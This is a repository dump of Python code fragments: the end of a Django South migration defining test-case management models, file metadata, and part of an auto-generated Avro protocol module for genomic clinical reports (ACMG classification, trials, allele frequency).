"'runcaseversion'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 473041)'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0', 'db_index': 'True'}), 'run': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runcaseversions'", 'to': "orm['execution.Run']"}) }, 'execution.runsuite': { 'Meta': {'ordering': "['order']", 'object_name': 'RunSuite'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 474056)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 474247)'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0', 'db_index': 'True'}), 'run': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runsuites'", 'to': "orm['execution.Run']"}), 'suite': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'runsuites'", 'to': "orm['library.Suite']"}) }, 'execution.stepresult': { 'Meta': {'object_name': 'StepResult'}, 'bug_url': ('django.db.models.fields.URLField', [], {'max_length': '200', 'blank': 'True'}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 494052)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 494259)'}), 'result': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stepresults'", 'to': "orm['execution.Result']"}), 'status': ('django.db.models.fields.CharField', [], {'default': "'passed'", 'max_length': '50', 'db_index': 'True'}), 'step': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'stepresults'", 'to': "orm['library.CaseStep']"}) }, 'library.case': { 'Meta': {'object_name': 'Case'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 484697)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 484889)'}), 'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'cases'", 'to': "orm['core.Product']"}) }, 'library.casestep': { 'Meta': {'ordering': "['caseversion', 'number']", 'object_name': 'CaseStep'}, 'caseversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'steps'", 'to': "orm['library.CaseVersion']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 480256)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'expected': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'instruction': ('django.db.models.fields.TextField', [], {}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 480519)'}), 'number': ('django.db.models.fields.IntegerField', [], {}) }, 'library.caseversion': { 'Meta': {'ordering': "['case', 'productversion__order']", 'object_name': 'CaseVersion'}, 'case': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'versions'", 'to': "orm['library.Case']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 476095)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'environments': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'caseversion'", 'symmetrical': 'False', 'to': "orm['environments.Environment']"}), 'envs_narrowed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'latest': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 476303)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'productversion': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'caseversions'", 'to': "orm['core.ProductVersion']"}), 'status': ('django.db.models.fields.CharField', [], {'default': "'draft'", 'max_length': '30', 'db_index': 'True'}), 'tags': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'related_name': "'caseversions'", 'blank': 'True', 'to': "orm['tags.Tag']"}) }, 'library.suite': { 'Meta': {'object_name': 'Suite'}, 'cases': ('django.db.models.fields.related.ManyToManyField', [], {'related_name': "'suites'", 'symmetrical': 'False', 'through': "orm['library.SuiteCase']", 'to': "orm['library.Case']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 487117)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 487308)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'product': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'suites'", 'to': "orm['core.Product']"}), 'status': ('django.db.models.fields.CharField', [], {'default': "'draft'", 'max_length': '30', 'db_index': 'True'}) }, 'library.suitecase': { 'Meta': {'ordering': "['order']", 'object_name': 'SuiteCase'}, 'case': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'suitecases'", 'to': "orm['library.Case']"}), 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 478818)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 479034)'}), 'order': ('django.db.models.fields.IntegerField', [], {'default': '0', 'db_index': 'True'}), 'suite': ('django.db.models.fields.related.ForeignKey', [], {'related_name': "'suitecases'", 'to': "orm['library.Suite']"}) }, 'tags.tag': { 'Meta': {'object_name': 'Tag'}, 'cc_version': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'created_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'created_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 492982)'}), 'deleted_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'deleted_on': ('django.db.models.fields.DateTimeField', [], {'db_index': 'True', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'modified_by': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'+'", 'null': 'True', 'to': "orm['auth.User']"}), 'modified_on': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime(2012, 2, 25, 0, 1, 17, 493191)'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'product': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['core.Product']", 'null': 'True', 'blank': 'True'}) } } complete_apps = ['execution']

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Python

autotesting/benchmarks_ground_truth/densenet_conv_block.py

ualberta-smr/SOAR

325a6ed2518088b9800299c81271db51b645816a

[ "BSD-3-Clause-Clear" ]

8

2021-01-13T14:59:18.000Z

2021-06-29T17:01:37.000Z

autotesting/benchmarks_ground_truth/densenet_conv_block.py

squaresLab/SOAR

72a35a4014d3e74548aab7d2a5cf1bdfaab149c1

[ "BSD-3-Clause-Clear" ]

null

autotesting/benchmarks_ground_truth/densenet_conv_block.py

squaresLab/SOAR

72a35a4014d3e74548aab7d2a5cf1bdfaab149c1

[ "BSD-3-Clause-Clear" ]

2

2021-01-16T00:09:54.000Z

2021-08-05T01:14:40.000Z

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py

Python

protocols/reports_6_0_0.py

Lucioric2000/GelReportModels

1704cdea3242d5b46c8b81ef46553ccae2799435

[ "Apache-2.0" ]

null

protocols/reports_6_0_0.py

Lucioric2000/GelReportModels

1704cdea3242d5b46c8b81ef46553ccae2799435

[ "Apache-2.0" ]

null

protocols/reports_6_0_0.py

Lucioric2000/GelReportModels

1704cdea3242d5b46c8b81ef46553ccae2799435

[ "Apache-2.0" ]

null

""" DO NOT EDIT THIS FILE!! This file is automatically generated by the process_schemas.py program in the scripts directory. It is not intended to be edited directly. If you need to update the GEL protocol classes, please run the script on the appropriate schema version. """ from protocols.protocol import ProtocolElement from protocols.protocol import SearchRequest from protocols.protocol import SearchResponse from protocols.protocol import avro_parse import avro.schema version = '6.0.0' class ACMGClassification(object): """ No documentation """ pathogenic_variant = "pathogenic_variant" likely_pathogenic_variant = "likely_pathogenic_variant" variant_of_unknown_clinical_significance = "variant_of_unknown_clinical_significance" likely_benign_variant = "likely_benign_variant" benign_variant = "benign_variant" not_assessed = "not_assessed" def __hash__(self): return str(self).__hash__() class AcmgEvidence(ProtocolElement): """ AcmgEvidence. This should be buit for each one of the evidences assing to a variants following the ACMG guidelines. An AcmgEvidence, should map with one of the criteria defined, i.e, PVS1, BA1, PM1... """ _schemaSource = """ {"type": "record", "name": "AcmgEvidence", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "category", "description", "modifier", "type", "weight", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'category', 'description', 'modifier', 'type', 'weight' ] def __init__(self, **kwargs): self.category = kwargs.get( 'category', None) self.description = kwargs.get( 'description', None) self.modifier = kwargs.get( 'modifier', None) self.type = kwargs.get( 'type', None) self.weight = kwargs.get( 'weight', None) class AcmgEvidenceCategory(object): """ Each ACMG criterion is classified in one of these categories """ population_data = "population_data" computational_and_predictive_data = "computational_and_predictive_data" functional_data = "functional_data" segregation_data = "segregation_data" de_novo_data = "de_novo_data" allelic_data = "allelic_data" other_database = "other_database" other_data = "other_data" def __hash__(self): return str(self).__hash__() class AcmgEvidenceType(object): """ Each ACMG cirterion will be classifed as bening or pathogenic """ bening = "bening" pathogenic = "pathogenic" def __hash__(self): return str(self).__hash__() class AcmgEvidenceWeight(object): """ Each ACMG criterion is weighted using the following terms: * `stand_alone`: `A`, stand-alone applied for benign variant critieria `(BA1)` * `supporting`: `P`, supporting applied for benign variant critieria `(BP1-6)` and pathogenic variant criteria `(PP1-5)` * `moderate`: `M`, moderate applied for pathogenic variant critieria (PM1-6) * `strong`: `S`, strong applied for pathogenic variant critieria (PS1-4) * `very_strong`: `S`, Very Stong applied for pathogenic variant critieria (PVS1) """ stand_alone = "stand_alone" supporting = "supporting" moderate = "moderate" strong = "strong" very_strong = "very_strong" def __hash__(self): return str(self).__hash__() class AcmgVariantClassification(ProtocolElement): """ Full record for the ACMG variant clasiffication, including all selectedd evidences and the final classification. """ _schemaSource = """ {"type": "record", "name": "AcmgVariantClassification", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "acmgEvidences", "type": {"type": "array", "items": {"type": "record", "name": "AcmgEvidence", "doc": "", "fields": [{"name": "category", "type": {"type": "enum", "name": "AcmgEvidenceCategory", "doc": "", "symbols": ["population_data", "computational_and_predictive_data", "functional_data", "segregation_data", "de_novo_data", "allelic_data", "other_database", "other_data"]}, "doc": ""}, {"name": "type", "type": {"type": "enum", "name": "AcmgEvidenceType", "doc": "", "symbols": ["bening", "pathogenic"]}, "doc": ""}, {"name": "weight", "type": {"type": "enum", "name": "AcmgEvidenceWeight", "doc": "", "symbols": ["stand_alone", "supporting", "moderate", "strong", "very_strong"]}, "doc": ""}, {"name": "modifier", "type": "int", "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}]}}}, {"name": "clinicalSignificance", "type": {"type": "enum", "name": "ClinicalSignificance", "symbols": ["benign", "likely_benign", "likely_pathogenic", "pathogenic", "uncertain_significance"]}}, {"name": "assessment", "type": ["null", "string"]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "acmgEvidences", "assessment", "clinicalSignificance", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'acmgEvidences': AcmgEvidence, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'acmgEvidences': AcmgEvidence, } return embeddedTypes[fieldName] __slots__ = [ 'acmgEvidences', 'assessment', 'clinicalSignificance' ] def __init__(self, **kwargs): self.acmgEvidences = kwargs.get( 'acmgEvidences', None) self.assessment = kwargs.get( 'assessment', None) self.clinicalSignificance = kwargs.get( 'clinicalSignificance', None) class Actionability(object): """ No documentation """ yes = "yes" no = "no" not_yet = "not_yet" na = "na" def __hash__(self): return str(self).__hash__() class Actions(ProtocolElement): """ Clinical actions """ _schemaSource = """ {"type": "record", "name": "Actions", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "trials", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Trial", "fields": [{"name": "studyUrl", "type": "string", "doc": ""}, {"name": "studyIdentifier", "type": "string", "doc": ""}, {"name": "startDate", "type": ["null", "string"], "doc": ""}, {"name": "estimateCompletionDate", "type": ["null", "string"], "doc": ""}, {"name": "title", "type": ["null", "string"], "doc": ""}, {"name": "phase", "type": ["null", {"type": "enum", "name": "StudyPhase", "doc": "", "symbols": ["na", "early_phase1", "phase1", "phase1_phase2", "phase2", "phase2_phase3", "phase3", "phase4"]}], "doc": ""}, {"name": "interventions", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Intervention", "doc": "", "fields": [{"name": "interventionType", "type": {"type": "enum", "name": "InterventionType", "doc": "", "symbols": ["drug", "device", "procedure", "biological", "radiation", "behavioral", "genetic", "dietary_supplement", "combination_product", "diagnostic_test", "other"]}, "doc": ""}, {"name": "interventionName", "type": "string", "doc": ""}]}}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "primaryPurpose", "type": ["null", {"type": "enum", "name": "PrimaryPurpose", "doc": "", "symbols": ["treatment", "prevention", "diagnostic", "supportive_care", "screening", "health_services_research", "basic_science", "device_feasibility", "other"]}], "doc": ""}, {"name": "studyType", "type": ["null", {"type": "enum", "name": "StudyType", "doc": "", "symbols": ["interventional", "observational", "patient_registry", "expanded_access"]}], "doc": ""}, {"name": "demogrphicElegibilityCriteria", "type": ["null", {"type": "record", "name": "DemographicElegibilityCriteria", "fields": [{"name": "sex", "type": {"type": "enum", "name": "Sex", "namespace": "org.gel.models.participant.avro", "doc": "", "symbols": ["MALE", "FEMALE", "UNKNOWN"]}}, {"name": "ageRange", "type": ["null", {"type": "record", "name": "AgeRange", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]}]}]}], "doc": ""}, {"name": "locations", "type": ["null", {"type": "array", "items": {"type": "record", "name": "TrialLocation", "fields": [{"name": "name", "type": ["null", "string"]}, {"name": "city", "type": ["null", "string"]}, {"name": "country", "type": ["null", "string"]}, {"name": "zip", "type": ["null", "string"]}]}}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "prognosis", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Prognosis", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "prognosis", "type": ["null", {"type": "enum", "name": "PrognosisClassification", "symbols": ["altered_prognosis", "favourable_prognosis", "unfavourable_prognosis"]}], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "description", "type": ["null", "string"], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}, {"name": "therapies", "type": ["null", {"type": "array", "items": {"type": "record", "name": "Therapy", "fields": [{"name": "referenceUrl", "type": "string", "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}, {"name": "references", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "conditions", "type": ["null", {"type": "array", "items": "string"}], "doc": ""}, {"name": "drugResponse", "type": ["null", {"type": "array", "items": {"type": "record", "name": "DrugResponse", "fields": [{"name": "TreatmentAgent", "type": "string", "doc": ""}, {"name": "drugResponseClassification", "type": {"type": "enum", "name": "DrugResponseClassification", "symbols": ["altered_sensitivity", "reduced_sensitivity", "increased_sensitivity", "altered_resistance", "increased_resistance", "reduced_resistance", "increased_risk_of_toxicity", "reduced_risk_of_toxicity", "altered_toxicity", "adverse_drug_reaction", "indication", "contraindication", "dosing_alteration", "increased_dose", "reduced_dose", "increased_monitoring", "increased_efficacy", "reduced_efficacy", "altered_efficacy"]}, "doc": ""}]}}], "doc": ""}, {"name": "otherInterventions", "type": ["null", {"type": "array", "items": "Intervention"}], "doc": ""}, {"name": "variantActionable", "type": "boolean", "doc": ""}]}}]}]} """ schema = avro_parse(_schemaSource) requiredFields = { "prognosis", "therapies", "trials", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'prognosis': Prognosis, 'therapies': Therapy, 'trials': Trial, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'prognosis': Prognosis, 'therapies': Therapy, 'trials': Trial, } return embeddedTypes[fieldName] __slots__ = [ 'prognosis', 'therapies', 'trials' ] def __init__(self, **kwargs): self.prognosis = kwargs.get( 'prognosis', None) self.therapies = kwargs.get( 'therapies', None) self.trials = kwargs.get( 'trials', None) class AdditionalAnalysisPanel(ProtocolElement): """ A panel of genes and the specific disease that it assesses """ _schemaSource = """ {"type": "record", "name": "AdditionalAnalysisPanel", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "specificDisease", "type": "string"}, {"name": "panel", "type": {"type": "record", "name": "GenePanel", "doc": "", "fields": [{"name": "panelIdentifier", "type": ["null", "string"], "doc": ""}, {"name": "panelName", "type": ["null", "string"], "doc": ""}, {"name": "panelVersion", "type": ["null", "string"], "doc": ""}, {"name": "source", "type": ["null", "string"], "doc": ""}]}}]} """ schema = avro_parse(_schemaSource) requiredFields = { "panel", "specificDisease", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'panel': GenePanel, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'panel': GenePanel, } return embeddedTypes[fieldName] __slots__ = [ 'panel', 'specificDisease' ] def __init__(self, **kwargs): self.panel = kwargs.get( 'panel', GenePanel()) self.specificDisease = kwargs.get( 'specificDisease', None) class AdditionalVariantsQuestions(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "AdditionalVariantsQuestions", "namespace": "org.gel.models.report.avro", "fields": [{"name": "variantCoordinates", "type": {"type": "record", "name": "VariantCoordinates", "doc": "", "fields": [{"name": "chromosome", "type": "string", "doc": ""}, {"name": "position", "type": "int", "doc": ""}, {"name": "reference", "type": "string", "doc": ""}, {"name": "alternate", "type": "string", "doc": ""}, {"name": "assembly", "type": {"type": "enum", "name": "Assembly", "doc": "", "symbols": ["GRCh38", "GRCh37"]}, "doc": ""}]}, "doc": ""}, {"name": "variantActionability", "type": {"type": "array", "items": {"type": "enum", "name": "CancerActionability", "doc": "", "symbols": ["germline_susceptibility", "predicts_therapeutic_response", "prognostic", "defines_diagnosis_group", "eligibility_for_trial", "other"]}}, "doc": ""}, {"name": "otherVariantActionability", "type": ["null", "string"]}, {"name": "variantUsability", "type": {"type": "enum", "name": "CancerUsabilitySomatic", "doc": "", "symbols": ["already_actioned", "actioned_result_of_this_wga", "not_yet_actioned"]}, "doc": ""}, {"name": "variantTested", "type": {"type": "enum", "name": "CancerTestedAdditional", "doc": "", "symbols": ["not_indicated_for_patient_care", "no_orthologous_test_available", "test_performed_prior_to_wga", "technical_validation_following_wga", "na"]}, "doc": ""}, {"name": "validationAssayType", "type": "string", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "otherVariantActionability", "validationAssayType", "variantActionability", "variantCoordinates", "variantTested", "variantUsability", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = { 'variantCoordinates': VariantCoordinates, } return embeddedTypes[fieldName] __slots__ = [ 'otherVariantActionability', 'validationAssayType', 'variantActionability', 'variantCoordinates', 'variantTested', 'variantUsability' ] def __init__(self, **kwargs): self.otherVariantActionability = kwargs.get( 'otherVariantActionability', None) self.validationAssayType = kwargs.get( 'validationAssayType', None) self.variantActionability = kwargs.get( 'variantActionability', None) self.variantCoordinates = kwargs.get( 'variantCoordinates', VariantCoordinates()) self.variantTested = kwargs.get( 'variantTested', None) self.variantUsability = kwargs.get( 'variantUsability', None) class AdoptedStatus(object): """ adoptedin means adopted into the family adoptedout means child belonged to the family and was adopted out """ notadopted = "notadopted" adoptedin = "adoptedin" adoptedout = "adoptedout" def __hash__(self): return str(self).__hash__() class AffectionStatus(object): """ Affection Status """ UNAFFECTED = "UNAFFECTED" AFFECTED = "AFFECTED" UNCERTAIN = "UNCERTAIN" def __hash__(self): return str(self).__hash__() class AgeOfOnset(object): """ No documentation """ EMBRYONAL_ONSET = "EMBRYONAL_ONSET" FETAL_ONSET = "FETAL_ONSET" NEONATAL_ONSET = "NEONATAL_ONSET" INFANTILE_ONSET = "INFANTILE_ONSET" CHILDHOOD_ONSET = "CHILDHOOD_ONSET" JUVENILE_ONSET = "JUVENILE_ONSET" YOUNG_ADULT_ONSET = "YOUNG_ADULT_ONSET" LATE_ONSET = "LATE_ONSET" MIDDLE_AGE_ONSET = "MIDDLE_AGE_ONSET" def __hash__(self): return str(self).__hash__() class AgeRange(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "AgeRange", "namespace": "org.gel.models.report.avro", "fields": [{"name": "minimumAge", "type": "int"}, {"name": "maximumAge", "type": "int"}, {"name": "timeunit", "type": {"type": "enum", "name": "TimeUnit", "symbols": ["years", "months", "weeks", "days", "hours", "minutes", "na"]}}]} """ schema = avro_parse(_schemaSource) requiredFields = { "maximumAge", "minimumAge", "timeunit", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'maximumAge', 'minimumAge', 'timeunit' ] def __init__(self, **kwargs): self.maximumAge = kwargs.get( 'maximumAge', None) self.minimumAge = kwargs.get( 'minimumAge', None) self.timeunit = kwargs.get( 'timeunit', None) class AlgorithmBasedVariantClassification(ProtocolElement): """ No documentation """ _schemaSource = """ {"type": "record", "name": "AlgorithmBasedVariantClassification", "namespace": "org.gel.models.report.avro", "fields": [{"name": "algorithmName", "type": "string", "doc": ""}, {"name": "classification", "type": "string", "doc": ""}, {"name": "rank", "type": ["null", "int"], "doc": ""}, {"name": "score", "type": ["null", "int"], "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "algorithmName", "classification", "rank", "score", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'algorithmName', 'classification', 'rank', 'score' ] def __init__(self, **kwargs): self.algorithmName = kwargs.get( 'algorithmName', None) self.classification = kwargs.get( 'classification', None) self.rank = kwargs.get( 'rank', None) self.score = kwargs.get( 'score', None) class AlleleFrequency(ProtocolElement): """ The population allele frequency of a given variant in a given study and optionally population """ _schemaSource = """ {"type": "record", "name": "AlleleFrequency", "namespace": "org.gel.models.report.avro", "doc": "", "fields": [{"name": "study", "type": "string", "doc": ""}, {"name": "population", "type": "string", "doc": ""}, {"name": "alternateFrequency", "type": "float", "doc": ""}]} """ schema = avro_parse(_schemaSource) requiredFields = { "alternateFrequency", "population", "study", } @classmethod def isEmbeddedType(cls, fieldName): embeddedTypes = {} return fieldName in embeddedTypes @classmethod def getEmbeddedType(cls, fieldName): embeddedTypes = {} return embeddedTypes[fieldName] __slots__ = [ 'alternateFrequency', 'population', 'study' ] def __init__(self, **kwargs): self.alternateFrequency = kwargs.get( 'alternateFrequency', 